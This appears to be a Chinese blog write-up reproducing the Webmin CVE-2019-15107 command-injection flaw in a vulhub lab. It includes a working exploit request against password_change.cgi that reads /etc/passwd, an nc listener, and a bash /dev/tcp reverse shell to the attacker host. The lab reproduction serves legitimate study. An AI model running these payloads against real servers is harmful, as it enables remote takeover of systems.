Webmin RCE 漏洞复现

2022-09-26 19:19:22 浏览数 (1)

Webmin RCE 漏洞复现

Webmin是目前功能最强大的基于Web的Unix系统管理工具。管理员通过浏览器访问Webmin的各种管理功能并完成相应的管理动作。

影响版本:Webmin<1.920

环境搭建:使用vulhub,找到Webmin里的CVE-2019-15107

代码语言:javascript复制
docker-compose up -d

首先进入容器修改root的密码

代码语言:javascript复制
docker exec -it 91 /bin/bash #91使我的容器名,具体还是要看自己的容器名
docker ps -a #查看容器
代码语言:javascript复制
cat /etc/webmin/miniserv.conf
代码语言:javascript复制
vim etc/webmin/config

etc/webmin/config 里的referers_none的值改为0(好像不用改也可以,所以我就没截图了)

进入后台

用户名:root

密码:刚刚设置的密码

点击图上所指的

这个默认的配置好的,可以看看以防万一

正式开始

我的环境:

靶机:https://192.168.214.136:10000

攻击机:192.168.214.129

一般通过docker默认安装完以后就可以了,不需要再去改配置直接就可以复现漏洞。

这个漏洞是存在于用户更改密码处,由于password_change.cgi文件在重置密码功能中存在一个代码执行漏洞

看到这个页面,接下来随便输入用户名密码进行抓包

然后更改数据包为

代码语言:javascript复制
POST /password_change.cgi HTTP/1.1
Host: 192.168.214.136:10000
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.0
Accept: text/html,application/xhtml xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
DNT: 1
Referer: https://192.168.214.136:10000/
Cookie: redirect=1; testing=1
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 60

user=admin&old=test | cat /etc/passwd&new1=123456&new2=123456

查看返回包,发现命令执行漏洞

反弹Shell

在kali监听10086端口

代码语言:javascript复制
nc -lvp 10086

将数据包中的命令执行语句改为

代码语言:javascript复制
bash -c "bash -i >& /dev/tcp/192.168.214.129/10086 0>&1"

将语句进行url编码

代码语言:javascript复制
bash -c "bash -i >& /dev/tcp/192.168.214.129/10086 0>&1"

发送数据包

反弹成功

最后

至于exp网上也有很多,也可以找我要(附带使用方法),exp是整合了上述的命令执行和反弹shell,只不过是更加的方便。

Q.E.D.

0 人点赞